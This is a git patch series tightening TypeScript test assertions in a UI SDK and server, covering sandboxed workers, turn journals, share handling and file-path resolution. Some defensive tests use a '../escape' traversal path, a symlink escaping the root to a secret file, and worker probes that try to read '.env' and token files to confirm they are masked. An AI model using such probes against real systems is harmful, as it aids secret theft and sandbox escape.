a/packages/ui-sdk/tests/scope-contract.test.ts +++ b/packages/ui-sdk/tests/scope-contract.test.ts @@ -17,7 +17,7 @@ test("additive scope receipts validate finite exact ceilings and preserve nullab calls: 500, minutes: 1, changedPaths: null, observedBytes: null, coverage: "partial", observedAt: 1, receipts: [{ eventId: "loom", dimension: "tool_calls", count: 500, cap: 500, newCap: 1000, overshoot: 0, frozen: true, observedAt: 1, state: "paused" }] } }; const parsed = parseServerMessage(JSON.stringify({ type: "turn_journal", sessionId: "ithaca", turnId: "voyage", journal: summary })); - expect(parsed.ok).toBe(true); if (parsed.ok && parsed.message.type === "turn_journal") expect(parsed.message.journal.scope).toEqual(summary.scope); + expect(parsed.ok && parsed.message.type).toBe("turn_journal"); if (parsed.ok && parsed.message.type === "turn_journal") expect(parsed.message.journal.scope).toEqual(summary.scope); summary.scope!.receipts[0]!.newCap = Infinity; expect(parseServerMessage(JSON.stringify({ type: "turn_journal", sessionId: "ithaca", turnId: "voyage", journal: summary })).ok, "SCOPE_NONFINITE_CEILING_REFUSED").toBe(false); for (const state of ["accepted", "pending", "answered_elsewhere", "ended_before_answer", "refused", "failed"]) expect(parseServerMessage(JSON.stringify({ ...decision, type: "scope_decision_receipt", state })).ok).toBe(true); diff --git a/packages/ui-sdk/tests/server-schemas.test.ts b/packages/ui-sdk/tests/server-schemas.test.ts index 5ccdfa848e..a876d10fab 100644 --- a/packages/ui-sdk/tests/server-schemas.test.ts +++ b/packages/ui-sdk/tests/server-schemas.test.ts @@ -288,6 +288,7 @@ describe("the additive contract", () => { followUps: [{ id: "fu-1", text: "Ask Aeolus about the winds", queuedAt: 1, label }], }); expect(result.ok).toBe(true); + expect(result.ok && result.message.type).toBe("session_queue"); if (result.ok && result.message.type === "session_queue") { expect(result.message.followUps).toHaveLength(1); expect(result.message.followUps[0]!.label).toBeUndefined(); diff --git a/packages/ui-sdk/tests/session-prompt-context.test.ts b/packages/ui-sdk/tests/session-prompt-context.test.ts index 748512c961..4f4c719d30 100644 --- a/packages/ui-sdk/tests/session-prompt-context.test.ts +++ b/packages/ui-sdk/tests/session-prompt-context.test.ts @@ -27,7 +27,7 @@ test("unacknowledged facts survive retries; acknowledged unchanged facts add no expect(unchanged.text, "UNCHANGED_FACTS_NO_TAIL").toBe("Continue"); const changed = store().prepare("Continue", { device: "camera present", sandbox: "journal active" }); expect(changed.text).toContain("camera present"); - expect(changed.text.startsWith("Continue\n\n[Host context"), "FACTS_ONLY_NEW_TAIL").toBe(true); + expect(changed.text, "FACTS_ONLY_NEW_TAIL").toStartWith("Continue\n\n[Host context"); expect(changed.text, "ONLY_CHANGED_FACTS_IN_NEW_TAIL").not.toContain("journal active"); expect(first.text).toContain("camera unknown"); }); diff --git a/packages/ui-sdk/tests/share-target.test.ts b/packages/ui-sdk/tests/share-target.test.ts index 9d45ed010e..0b8159cd81 100644 --- a/packages/ui-sdk/tests/share-target.test.ts +++ b/packages/ui-sdk/tests/share-target.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, test } from "bun:test"; +import { describe, expect, jest, test } from "bun:test"; import { createMemoryShareStoreForTests, pruneStoredShares, @@ -222,18 +222,32 @@ describe("handleShareTargetRequest", () => { }); test("a store that hangs forever still lands the browser somewhere", async () => { + // The store deadline is the handler's 5 s timer; a fake clock reaches it + // without spending it, and shows the handler waits the whole window. + let putCalled!: () => void; + const reached = new Promise((resolve) => { putCalled = resolve; }); const broken: ShareStore = { ...createMemoryShareStoreForTests(), - put: () => new Promise(() => {}), + put: () => { putCalled(); return new Promise(() => {}); }, }; const form = new FormData(); form.set("text", "something"); - const target = redirectTarget( - await handleShareTargetRequest(shareRequest(form), { store: broken }) - ); - - expect(target.searchParams.get(SHARE_ERROR_PARAM)).toBe("store"); + jest.useFakeTimers(); + try { + let settled = false; + const answer = handleShareTargetRequest(shareRequest(form), { store: broken }) + .finally(() => { settled = true; }); + await reached; + jest.advanceTimersByTime(4_999); + await Promise.resolve(); + expect(settled).toBe(false); + jest.advanceTimersByTime(1); + const target = redirectTarget(await answer); + expect(target.searchParams.get(SHARE_ERROR_PARAM)).toBe("store"); + } finally { + jest.useRealTimers(); + } }, 10_000); test("a body that will not parse redirects with the parse error", async () => { @@ -327,7 +341,7 @@ describe("pruneStoredShares", () => { expect((await store.list()).map((r) => r.id)).toEqual(["new"]); }); - test("a stash is bounded even when the app never claims it", async () => { + test("a fresh stash survives the handler's own prune pass", async () => { const store = createMemoryShareStoreForTests(); const form = new FormData(); form.set("text", "abandoned"); @@ -395,14 +409,14 @@ describe("registerShareTarget", () => { { addEventListener: (_type, listener) => listeners.push(listener) } ); - const seen: unknown[] = []; + const seen: string[] = []; const dispatch = (request: Request) => - listeners[0]!({ request, respondWith: (r) => seen.push(r) }); + listeners[0]!({ request, respondWith: () => seen.push(new URL(request.url).pathname) }); dispatch(shareRequest(new FormData(), "/inbox-target")); dispatch(shareRequest(new FormData(), DEFAULT_SHARE_TARGET_PATH)); - expect(seen).toHaveLength(1); + expect(seen).toEqual(["/inbox-target"]); }); }); diff --git a/packages/ui-sdk/tests/turn-failure.test.ts b/packages/ui-sdk/tests/turn-failure.test.ts index 8c3eebb9ff..5207b2c7d0 100644 --- a/packages/ui-sdk/tests/turn-failure.test.ts +++ b/packages/ui-sdk/tests/turn-failure.test.ts @@ -38,6 +38,7 @@ describe("the failure payload on the wire", () => { test("an unreadable failure is dropped, never the terminal frame", () => { const out = parse({ ...RESULT, failure: { status: "four hundred" } }); expect(out.ok).toBe(true); + expect(out.ok && out.message.type).toBe("result"); if (out.ok && out.message.type === "result") { expect(out.message.failure).toBeUndefined(); expect(out.message.outcome).toBe("error"); diff --git a/packages/ui-sdk/tests/turn-temp-tool.test.ts b/packages/ui-sdk/tests/turn-temp-tool.test.ts index 658c89371a..4bde36e2f2 100644 --- a/packages/ui-sdk/tests/turn-temp-tool.test.ts +++ b/packages/ui-sdk/tests/turn-temp-tool.test.ts @@ -53,11 +53,11 @@ describe("turn_temp purge (#1703)", () => { const result = handleTurnTemp({ action: "purge", all: true }, f.access, event => events.push(event)) as any; expect(result.truncated, "a partial purge must report truncation").toBe(true); expect(events[0]!.truncated).toBe(true); - expect(readdirSync(f.root).some(name => name.startsWith("draft-"))).toBe(true); + expect(readdirSync(f.root).filter(name => name.startsWith("draft-")).length).toBeGreaterThan(0); const retry = handleTurnTemp({ action: "purge", all: true }, f.access, event => events.push(event)) as any; expect(retry.truncated).toBe(false); expect(events[1]!.truncated).toBe(false); - expect(readdirSync(f.root).some(name => name.startsWith("draft-"))).toBe(false); + expect(readdirSync(f.root).filter(name => name.startsWith("draft-"))).toEqual([]); }); test("a named path outside turn temp is refused, and nothing outside is touched", () => { @@ -128,7 +128,7 @@ describe("turn_temp purge (#1703)", () => { { path: "/tmp/brain-worker-scratch/frames/001.png", bytes: 3000, type: "file" }, { path: "/tmp/brain-worker-scratch/frames/002.png", bytes: 2000, type: "file" }, ]); - expect(usage.largest.some(entry => entry.path.includes("brain-worker-state"))).toBe(false); + expect(usage.largest.filter(entry => entry.path.includes("brain-worker-state"))).toEqual([]); expect(usage.truncated).toBe(false); }); @@ -141,7 +141,7 @@ describe("turn_temp purge (#1703)", () => { expect(() => handleTurnTemp({ action: "purge", all: true, paths: ["x"] }, f.access)).toThrow("either paths or all"); expect(() => handleTurnTemp({ action: "purge", all: true, force: true }, f.access)).toThrow("named paths only"); expect(() => handleTurnTemp({ action: "usage" }, undefined)).toThrow("no turn temp"); - expect(() => handleTurnTemp({ action: "purge", paths: Array(101).fill("x") }, f.access)).toThrow(); + expect(() => handleTurnTemp({ action: "purge", paths: Array(101).fill("x") }, f.access)).toThrow("expected array to have <=100 items"); expect(() => handleTurnTemp({ action: "usage" }, { ...f.access, root: () => undefined })).toThrow("No worker is running"); const result = handleTurnTemp({ action: "purge", paths: ["draft.md", "../escape"] }, f.access, event => events.push(event)) as Record; expect(result).toMatchObject({ removedCount: 1, skippedCount: 1, limitBytes: 64 * MIB }); diff --git a/packages/ui-sdk/tests/web-search.test.ts b/packages/ui-sdk/tests/web-search.test.ts index 9a4220aa1c..b86ef8e089 100644 --- a/packages/ui-sdk/tests/web-search.test.ts +++ b/packages/ui-sdk/tests/web-search.test.ts @@ -35,7 +35,7 @@ describe("provider catalog", () => { expect([...ranks].sort((a, b) => a - b)).toEqual(ranks); const firstPaid = WEB_SEARCH_PROVIDERS.findIndex((p) => !p.keyless); expect(firstPaid, "free providers precede at least one paid provider").toBeGreaterThan(0); - expect(WEB_SEARCH_PROVIDERS.slice(0, firstPaid).every((p) => p.keyless)).toBe(true); + expect(WEB_SEARCH_PROVIDERS.slice(0, firstPaid).filter((p) => !p.keyless)).toEqual([]); }); test("every paid provider is reachable by key or environment", () => { diff --git a/packages/ui-sdk/tests/worker-provider-keys.test.ts b/packages/ui-sdk/tests/worker-provider-keys.test.ts index 7c6249fc06..a9e3c488a7 100644 --- a/packages/ui-sdk/tests/worker-provider-keys.test.ts +++ b/packages/ui-sdk/tests/worker-provider-keys.test.ts @@ -94,7 +94,7 @@ describe.each(["governed", "strict"] as const)("a %s turn worker", (profile) => expect(found.results.map(result => result.path), "WORKER_SEARCH_KEYWORD_RESULTS").toEqual(["notes/ithaca.md"]); expect(found.warnings.join("\n"), "WORKER_SEARCH_NAMES_WITHHELD_PROVIDER") .toContain("[provider_unavailable provider=gemini capability=embeddings key=GEMINI_API_KEY degraded_to=keyword_search]"); - expect(FIXTURE_VALUES.some(value => stdout.includes(value) || stderr.includes(value))).toBe(false); + expect(FIXTURE_VALUES.filter(value => stdout.includes(value) || stderr.includes(value))).toEqual([]); } finally { f.cleanup(); } }); }); diff --git a/packages/ui-sdk/tests/worker-provider-relay.test.ts b/packages/ui-sdk/tests/worker-provider-relay.test.ts index 544f159951..dd44fcc174 100644 --- a/packages/ui-sdk/tests/worker-provider-relay.test.ts +++ b/packages/ui-sdk/tests/worker-provider-relay.test.ts @@ -178,8 +178,8 @@ describe.each(["governed", "strict"] as const)("a %s turn worker with the provid // Ordinary turn egress (G5): the provider connection is the turn's record. expect(records.filter(record => record.path?.endsWith(":batchEmbedContents")), "RELAYED_REQUEST_IS_TURN_EGRESS") .toMatchObject([{ method: "POST", host: "127.0.0.1", port: upstream.port, outcome: "completed" }]); - expect(records.some(record => record.inference)).toBe(false); - expect(SECRETS.some(secret => stdout.includes(secret) || stderr.includes(secret))).toBe(false); + expect(records.filter(record => record.inference)).toEqual([]); + expect(SECRETS.filter(secret => stdout.includes(secret) || stderr.includes(secret))).toEqual([]); }); test("a blocked budget refuses the request before any provider contact", async () => { @@ -205,11 +205,11 @@ describe.each(["governed", "strict"] as const)("a %s turn worker with the provid "POST /upload/v1beta/files", "POST /upload/v1beta/files", "GET /v1beta/files/troy-1", "POST /v1beta/models/gemini-3-flash-preview:generateContent", "DELETE /v1beta/files/troy-1", ]); - expect(seen.every(request => request.headers["x-goog-api-key"] === HOST_KEYS.GEMINI_API_KEY), "HOST_KEY_ON_EVERY_LIFECYCLE_REQUEST").toBe(true); + expect(seen.map(request => request.headers["x-goog-api-key"]), "HOST_KEY_ON_EVERY_LIFECYCLE_REQUEST").toEqual(Array(5).fill(HOST_KEYS.GEMINI_API_KEY)); expect(stored, "RELAYED_VIDEO_LEAVES_NO_FILE").toEqual(new Set()); expect(receipts.map(receipt => receipt.operation), "RELAYED_VIDEO_METERED").toEqual(["files", "files", "files", "completions", "files"]); expect(receipts[3]).toMatchObject({ model: "gemini-3-flash-preview", usage: { inputTokens: 300, outputTokens: 12, inputByModality: { VIDEO: 290, TEXT: 10 } } }); - expect(SECRETS.some(secret => stdout.includes(secret) || stderr.includes(secret)), "WORKER_SEES_NO_KEY").toBe(false); + expect(SECRETS.filter(secret => stdout.includes(secret) || stderr.includes(secret)), "WORKER_SEES_NO_KEY").toEqual([]); }); test("a blocked budget refuses brain video watch before any byte reaches the provider", async () => { diff --git a/packages/ui-sdk/tests/worker-runtime-placement.test.ts b/packages/ui-sdk/tests/worker-runtime-placement.test.ts index 5a07d74039..9fc971825e 100644 --- a/packages/ui-sdk/tests/worker-runtime-placement.test.ts +++ b/packages/ui-sdk/tests/worker-runtime-placement.test.ts @@ -113,8 +113,8 @@ test("restricted workers preserve executable aliases already supplied by their r // Keep the portable construction invariant explicit even on hosts that // accept a redundant mount onto this existing alias, independently of // the real launch below (#2211). - expect(argv.some((option, index) => ["--bind", "--ro-bind"].includes(option) && argv[index + 2] === executable), - "EXISTING_EXECUTABLE_ALIAS_HAS_NO_REDUNDANT_BIND").toBe(false); + expect(argv.flatMap((option, index) => ["--bind", "--ro-bind"].includes(option) && argv[index + 2] === executable ? [argv.slice(index, index + 3)] : []), + "EXISTING_EXECUTABLE_ALIAS_HAS_NO_REDUNDANT_BIND").toEqual([]); const result = Bun.spawnSync(argv, { stdin: Buffer.from("go\n"), stdout: "pipe", stderr: "pipe", timeout: 10_000 }); expect(result.exitCode, `RESTORED_EXECUTABLE_ALIAS_LAUNCH: ${result.stderr}`).toBe(0); expect(result.stdout.toString()).toBe("Odysseus"); diff --git a/packages/ui-sdk/tests/worker-sandbox.test.ts b/packages/ui-sdk/tests/worker-sandbox.test.ts index 90ff596a39..2101dd3e65 100644 --- a/packages/ui-sdk/tests/worker-sandbox.test.ts +++ b/packages/ui-sdk/tests/worker-sandbox.test.ts @@ -99,7 +99,7 @@ describe("worker sandbox writable areas (#1626)", () => { && attempt(()=>fs.mkdirSync(process.env[k]+"/chromium/applications",{recursive:true}))]))}));`; expect(await run(f.brain, sandbox, program, f.home), "XDG_FALLBACK").toEqual({ home: "EROFS", xdg: { XDG_CONFIG_HOME: "ok", XDG_CACHE_HOME: "ok", XDG_DATA_HOME: "ok" } }); - expect(Object.values(WORKER_XDG_DIRS).every(dir => dir.startsWith("/tmp/"))).toBe(true); + expect(Object.values(WORKER_XDG_DIRS).filter(dir => !dir.startsWith("/tmp/"))).toEqual([]); } finally { f.cleanup(); } }); @@ -448,7 +448,7 @@ describe("the sandbox note's wording (#1654)", () => { test("limits are stated as their owners resolved them, and only when given", () => { expect(workerSandboxNote(strict)).not.toContain("Limits in this turn"); const note = workerSandboxNote(strict, { limits: [{ name: "Runtime state", value: "64 MiB", onHit: "Past it the conversation continues in a new one." }] }); - expect(note.endsWith("Limits in this turn:\n- **Runtime state: 64 MiB.** Past it the conversation continues in a new one.")).toBe(true); + expect(note).toEndWith("Limits in this turn:\n- **Runtime state: 64 MiB.** Past it the conversation continues in a new one."); }); }); diff --git a/packages/ui-sdk/tests/worker-startup-view.test.ts b/packages/ui-sdk/tests/worker-startup-view.test.ts index c1726dbb71..acb40a57c0 100644 --- a/packages/ui-sdk/tests/worker-startup-view.test.ts +++ b/packages/ui-sdk/tests/worker-startup-view.test.ts @@ -26,7 +26,7 @@ test("native-style FIFO secret aliases and destinations are masked before execut console.log(JSON.stringify([inspect(".env"),inspect("tokens/private-channel")]));`] }); expect(result.exitCode, result.stderr).toBe(0); const receipt = JSON.parse(result.stdout); - expect(receipt.every((value: unknown) => value === false || value === "EACCES"), "SPECIAL_NODE_SECRET_DESTINATION_MASKED").toBe(true); + expect(receipt.map((value: unknown) => value === false || value === "EACCES" ? "masked" : value), "SPECIAL_NODE_SECRET_DESTINATION_MASKED").toEqual(["masked", "masked"]); }); const cleanup: (() => void)[] = []; diff --git a/packages/ui-sdk/tests/worker-state-mount.test.ts b/packages/ui-sdk/tests/worker-state-mount.test.ts index e9eb45c752..1b644818d9 100644 --- a/packages/ui-sdk/tests/worker-state-mount.test.ts +++ b/packages/ui-sdk/tests/worker-state-mount.test.ts @@ -155,7 +155,7 @@ describe("private runtime-state tmpfs", () => { expect(() => workerCommand({ brainPath: f.brain, stateBytes: 0, env: {}, command: ["/bin/true"] })).toThrow("positive"); mkdirSync(join(f.root, "tmp-state")); expect(() => workerCommand({ brainPath: f.brain, scratchPath: "/tmp", stateBytes: MiB, env: {}, command: ["/bin/true"] })) - .toThrow(); + .toThrow("runtime state must be a separate location outside the brain and scratch"); } finally { f.cleanup(); } }); diff --git a/packages/ui-sdk/tests/ws-client-liveness.test.ts b/packages/ui-sdk/tests/ws-client-liveness.test.ts index 0512b80210..217b95013e 100644 --- a/packages/ui-sdk/tests/ws-client-liveness.test.ts +++ b/packages/ui-sdk/tests/ws-client-liveness.test.ts @@ -221,7 +221,7 @@ describe("idle probes", () => { await clock.advance(5_000); expect(sockets).toHaveLength(1); expect(events.find((e) => e.type === "pong")).toMatchObject({ type: "pong", probeId: ping.probeId }); - expect(events.some((e) => e.type === "stale")).toBe(false); + expect(events.map((e) => e.type)).not.toContain("stale"); client.close(); }); @@ -230,7 +230,7 @@ describe("idle probes", () => { client.checkLiveness(); sockets[0]!.deliver({ type: "pong", probeId: "probe-someone-else" }); await clock.advance(5_000); - expect(events.some((e) => e.type === "stale")).toBe(true); + expect(events.map((e) => e.type)).toContain("stale"); expect(sockets).toHaveLength(2); client.close(); }); From f2de02144c4400ffe2b85e1fef9d3d320182c41b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 23:28:50 +0100 Subject: [PATCH 215/252] test(ui-server): pin the share filing receipt id and hash the fixture password once Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#16 --- packages/ui-server/tests/interactive-share.test.ts | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/interactive-share.test.ts b/packages/ui-server/tests/interactive-share.test.ts index 85b4c3de72..fc84120fe9 100644 --- a/packages/ui-server/tests/interactive-share.test.ts +++ b/packages/ui-server/tests/interactive-share.test.ts @@ -21,6 +21,8 @@ const closes: (() => unknown | Promise)[] = []; afterEach(async () => { for (const close of closes.splice(0).reverse()) await close(); }); const SECRET = "odysseus-share-fixture-cookie-0123456789"; const pdf = "%PDF-1.4\nOdysseus returns to Ithaca.\n%%EOF\n"; +// Hashed once: no test signs in with the password, so every fixture can share it. +const PASSWORD_HASH = Bun.password.hashSync("odysseus-fixture"); function deferred() { let resolve!: (v: T) => void; const promise = new Promise(r => { resolve = r; }); return { promise, resolve }; } async function fixture() { const scripts: ((req: StartTurnRequest) => Promise)[] = []; @@ -32,7 +34,7 @@ async function fixture() { req.bridge.emit({ type: "result", sessionId: sid, isError: false, durationMs: 1, numTurns: 1 }); } }); backend.brainApplicationPolicy = () => ({ available: ["write"], autoAllowed: ["write"], lock: createKeyedLock() }); - const f = await createTestApp({ env: { AUTH_MODE: "password", BRAIN_UI_PASSWORD_HASH: Bun.password.hashSync("odysseus-fixture"), COOKIE_SECRET: SECRET }, + const f = await createTestApp({ env: { AUTH_MODE: "password", BRAIN_UI_PASSWORD_HASH: PASSWORD_HASH, COOKIE_SECRET: SECRET }, appOptions: { registry: createStaticBackendRegistry([backend], "pi") } }); closes.push(() => f.teardown()); f.app.wsHost.applicationPlanner!.index = async () => {}; @@ -89,7 +91,8 @@ test("real app/WS completion verifies filing and retained PDF, then a lost reply let request: any, receipt: any; const sid = await f.send(share, async req => { const result = await req.bridge.applyBrain!(application(share)); - expect(result.ok).toBe(true); expect(result.shareReceiptId).toBeDefined(); + expect(result.ok).toBe(true); + expect(result.shareReceiptId, "FILING_RECEIPT_IS_THE_PERSISTED_APPLICATION").toBe((f.app.db.query("SELECT id FROM inbox_share_applications").get() as { id: string }).id); request = { receiptIds: [result.shareReceiptId], files: [{ sourcePath: share.files[0]!.path, disposition: "retained", path: "assets/ithaca.pdf" }] }; receipt = await req.bridge.completeShare!(request); expect(receipt).toEqual({ itemId: f.item(share).id, status: "done", replay: false }); From 53a2689b284ea40bbfb7c5efa1c72f28176f1786 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 23:28:56 +0100 Subject: [PATCH 216/252] test(ui-server): media flow isolation waits for the agent's refusal frame instead of a fixed sleep Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#18 --- packages/ui-server/tests/media-review-flow.test.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/packages/ui-server/tests/media-review-flow.test.ts b/packages/ui-server/tests/media-review-flow.test.ts index 64a416fbb6..923415aa7e 100644 --- a/packages/ui-server/tests/media-review-flow.test.ts +++ b/packages/ui-server/tests/media-review-flow.test.ts @@ -376,7 +376,8 @@ test("isolation: another owner device cannot undo Odysseus's effect, and a deleg expect((await f.undo(receipt.media.journalId, "agent")).status, "MEDIA_FLOW_ISOLATION_AGENT_UNDO").toBe(403); const agent = await f.device("agent"); agent.resolve(pending.id, "media-delete"); - await Bun.sleep(500); + // The server answers the agent's decision with a refusal: once it has, the decision is over. + await f.until(() => agent.frames.some(m => m.type === "error" && m.code === "INBOX_DECISION_REFUSED"), "the agent's decision refused"); expect((await f.read()).action, "MEDIA_FLOW_ISOLATION_AGENT_CARD").toEqual(pending); expect(f.bytes(), "MEDIA_FLOW_ISOLATION_AGENT_NO_WRITE").toEqual(deleted); agree(await f.parity({ sync: false }), { pending: 1 }); From 91c2a377fa9438bad99daa5e001fd59280fecde5 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 23:41:18 +0100 Subject: [PATCH 217/252] test(ui-server): journal migration split check fails when it examines no migrations; journal-database setup runs under its teardown Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#21 --- .../ui-server/tests/journal-database.test.ts | 48 +++++++++++-------- 1 file changed, 27 insertions(+), 21 deletions(-) diff --git a/packages/ui-server/tests/journal-database.test.ts b/packages/ui-server/tests/journal-database.test.ts index e8bc232b25..5a21b955fc 100644 --- a/packages/ui-server/tests/journal-database.test.ts +++ b/packages/ui-server/tests/journal-database.test.ts @@ -99,11 +99,11 @@ test("a move interrupted after copying is copied again, never duplicated, before test("a journal table a later migration creates in the UI database moves on the next start", () => { const f = fixture("later"); let db = createUiDb(f.path); - db.exec("CREATE TABLE turn_journal_fixture_voyages (id TEXT PRIMARY KEY, port TEXT); INSERT INTO turn_journal_fixture_voyages VALUES ('one','Ithaca')"); - expect(moveJournalTables(db), "JOURNAL_MOVE_REPORTS_TABLES").toBe(1); - db.close(); - db = createUiDb(f.path); try { + db.exec("CREATE TABLE turn_journal_fixture_voyages (id TEXT PRIMARY KEY, port TEXT); INSERT INTO turn_journal_fixture_voyages VALUES ('one','Ithaca')"); + expect(moveJournalTables(db), "JOURNAL_MOVE_REPORTS_TABLES").toBe(1); + db.close(); + db = createUiDb(f.path); expect(journalTables(db, "main")).toEqual([]); expect(db.query("SELECT port FROM journal.turn_journal_fixture_voyages").all()).toEqual([{ port: "Ithaca" }]); expect(existsSync(`${f.path}.journal.db`)).toBe(true); @@ -162,30 +162,32 @@ test("a ledger on a connection that never ran createUiDb attaches the journal fi test("the turn journal replays a missing steering event when it starts", async () => { const f = fixture("startup"); const brain = join(f.root, "brain"); mkdirSync(brain); - const db = createUiDb(f.path), ledger = createJournalAccounting(db, f.path); - ledger.write(() => { - db.query("INSERT INTO turn_journal_turns (turn_id,actor,profile,started_at,ended_at,state) VALUES ('voyage','interactive','governed',1,2,'complete')").run(); - db.query("INSERT INTO turn_journal_changes (turn_id,sequence,path,scope,before_json,after_json,class,actor,overlaps) VALUES ('voyage',1,'notes/steering.md','brain',NULL,NULL,'steering','agent','[]')").run(); - }); - const native = createNativeJournalFixture(brain, f.root); - const journal = createTurnJournal(db, { nativeManager: native.manager, brainPath: brain, dbPath: f.path, objectsRoot: join(f.root, "objects") }); + const db = createUiDb(f.path), native = createNativeJournalFixture(brain, f.root); + let journal: ReturnType | undefined; try { + createJournalAccounting(db, f.path).write(() => { + db.query("INSERT INTO turn_journal_turns (turn_id,actor,profile,started_at,ended_at,state) VALUES ('voyage','interactive','governed',1,2,'complete')").run(); + db.query("INSERT INTO turn_journal_changes (turn_id,sequence,path,scope,before_json,after_json,class,actor,overlaps) VALUES ('voyage',1,'notes/steering.md','brain',NULL,NULL,'steering','agent','[]')").run(); + }); + journal = createTurnJournal(db, { nativeManager: native.manager, brainPath: brain, dbPath: f.path, objectsRoot: join(f.root, "objects") }); await journal.ready; expect(db.query("SELECT dedupe_key FROM governance_events WHERE kind='steering_change'").all(), "JOURNAL_STARTUP_REPLAYS_STEERING").toEqual([{ dedupe_key: "voyage:1" }]); - } finally { await journal.close(); await native.close(); f.close(db); } + } finally { await journal?.close(); await native.close(); f.close(db); } }); test("the operational backup carries the journal file, from the app or the recovery command, and a restore moves it back", async () => { const f = fixture("backup"); const source = join(f.root, "source"), target = join(f.root, "target"); mkdirSync(source); mkdirSync(target); - const path = join(source, "ui.sqlite"), db = createUiDb(path), ledger = createJournalAccounting(db, path); - ledger.write(() => db.query("INSERT INTO turn_journal_turns (turn_id,actor,profile,started_at,state,summary) VALUES ('voyage','interactive','governed',1,'complete','Ithaca')").run()); - expect(ledger.ensureObjectRefIndex(), "BACKUP_SOURCE_HAS_ADMITTED_INDEX").toBe(true); - const at = Date.now(); - const snapshot = await exportInboxSnapshot(db, source, at); - // The recovery command opens the UI file directly and read-only. - const command = new Database(path, { readonly: true }); + const path = join(source, "ui.sqlite"), db = createUiDb(path); + let command: Database | undefined; try { + const ledger = createJournalAccounting(db, path); + ledger.write(() => db.query("INSERT INTO turn_journal_turns (turn_id,actor,profile,started_at,state,summary) VALUES ('voyage','interactive','governed',1,'complete','Ithaca')").run()); + expect(ledger.ensureObjectRefIndex(), "BACKUP_SOURCE_HAS_ADMITTED_INDEX").toBe(true); + const at = Date.now(); + const snapshot = await exportInboxSnapshot(db, source, at); + // The recovery command opens the UI file directly and read-only. + command = new Database(path, { readonly: true }); expect(await exportInboxSnapshot(command, source, at), "JOURNAL_BACKUP_SAME_FROM_RECOVERY_COMMAND").toEqual(snapshot); const image = Database.deserialize(Buffer.from(snapshot.database.data, "base64")); try { @@ -205,7 +207,7 @@ test("the operational backup carries the journal file, from the app or the recov expect(bounded.ensureObjectRefIndex(), "RESTORED_INDEX_STILL_NEEDS_ADMISSION").toBe(false); expect(restoredLedger.ensureObjectRefIndex(), "RESTORED_INDEX_REBUILDS_WHEN_ADMITTED").toBe(true); } finally { restored.close(); } - } finally { command.close(); f.close(db); } + } finally { command?.close(); f.close(db); } }); test("the derived journal index name cannot hide an incompatible backup schema", async () => { @@ -225,7 +227,11 @@ test("the derived journal index name cannot hide an incompatible backup schema", test("migrations after the split keep the journal file and the UI database apart", () => { const migrations = join(import.meta.dir, "../migrations"); - for (const file of readdirSync(migrations).filter(name => name.endsWith(".sql") && name.slice(0, 3) > JOURNAL_SPLIT_MIGRATION)) { + const later = readdirSync(migrations).filter(name => name.endsWith(".sql") && name.slice(0, 3) > JOURNAL_SPLIT_MIGRATION); + // Both kinds exist after the split, so neither branch below can pass by examining nothing. + expect(later.filter(file => file.endsWith(".journal.sql")).length, "LATER_JOURNAL_MIGRATIONS_EXAMINED").toBeGreaterThan(0); + expect(later.filter(file => !file.endsWith(".journal.sql")).length, "LATER_UI_MIGRATIONS_EXAMINED").toBeGreaterThan(0); + for (const file of later) { // Comments are not statements, a trigger's `UPDATE [OF columns] ON t` // event names only the table after ON, and a foreign key's // `ON DELETE|UPDATE ` names no object at all. From 513a3dfa481a56b2243588250152ea706bb1e186 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Wed, 11 Nov 2026 00:00:13 +0100 Subject: [PATCH 218/252] test(ui-server): files-walker tests clean up shared fixtures and assert exact resolved paths Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110163713-d24921#22 --- packages/ui-server/tests/files-walker.test.ts | 92 +++++++++++-------- 1 file changed, 54 insertions(+), 38 deletions(-) diff --git a/packages/ui-server/tests/files-walker.test.ts b/packages/ui-server/tests/files-walker.test.ts index 7a603ff693..fa60c3edec 100644 --- a/packages/ui-server/tests/files-walker.test.ts +++ b/packages/ui-server/tests/files-walker.test.ts @@ -2,7 +2,6 @@ import { describe, test, expect, beforeAll, afterAll, spyOn } from "bun:test"; import * as fsp from "node:fs/promises"; import { mkdir, writeFile, symlink, rm, realpath } from "node:fs/promises"; import { join, win32 } from "node:path"; -import { tmpdir } from "node:os"; import { listDirectory, readFileContent, @@ -20,6 +19,7 @@ import { FILE_SIZE_CAP_BYTES } from "@schlessera/brain-ui-sdk/protocol"; import { createFilesRoutes } from "../src/routes/files"; let root: string; +let outside: string; beforeAll(async () => { root = await Bun.$`mktemp -d`.text().then((s) => s.trim()); @@ -53,14 +53,14 @@ beforeAll(async () => { await writeFile(join(root, ".brain-index", "brain.db"), "x"); // Symlink escaping the root - const outside = join(tmpdir(), `brain-ui-outside-${process.pid}-${Date.now()}`); - await mkdir(outside, { recursive: true }); + outside = await Bun.$`mktemp -d`.text().then((s) => s.trim()); await writeFile(join(outside, "secret.md"), "outside"); await symlink(outside, join(root, "escape-link")); }); afterAll(async () => { if (root) await rm(root, { recursive: true, force: true }); + if (outside) await rm(outside, { recursive: true, force: true }); }); describe("safeResolve", () => { @@ -114,10 +114,10 @@ describe("safeResolve", () => { } }); test("accepts repo-relative path", async () => { - await expect(safeResolve("notes/foo.md", root)).resolves.toBeTruthy(); + await expect(safeResolve("notes/foo.md", root)).resolves.toBe(join(await realpath(root), "notes/foo.md")); }); test("accepts empty string (root)", async () => { - await expect(safeResolve("", root)).resolves.toBeTruthy(); + await expect(safeResolve("", root)).resolves.toBe(await realpath(root)); }); test("never follows a link under the agent-writable scratch area (#1626)", async () => { const scratch = join(root, ".brain/scratch"); @@ -134,7 +134,7 @@ describe("safeResolve", () => { expect((await listDirectory(".brain/scratch", root)).map((e) => e.name), "SCRATCH_LISTING").toEqual(["real", "render.pdf"]); // Outside scratch an in-brain link still resolves as before. await symlink(join(root, "notes/foo.md"), join(root, "notes/foo-link.md")); - await 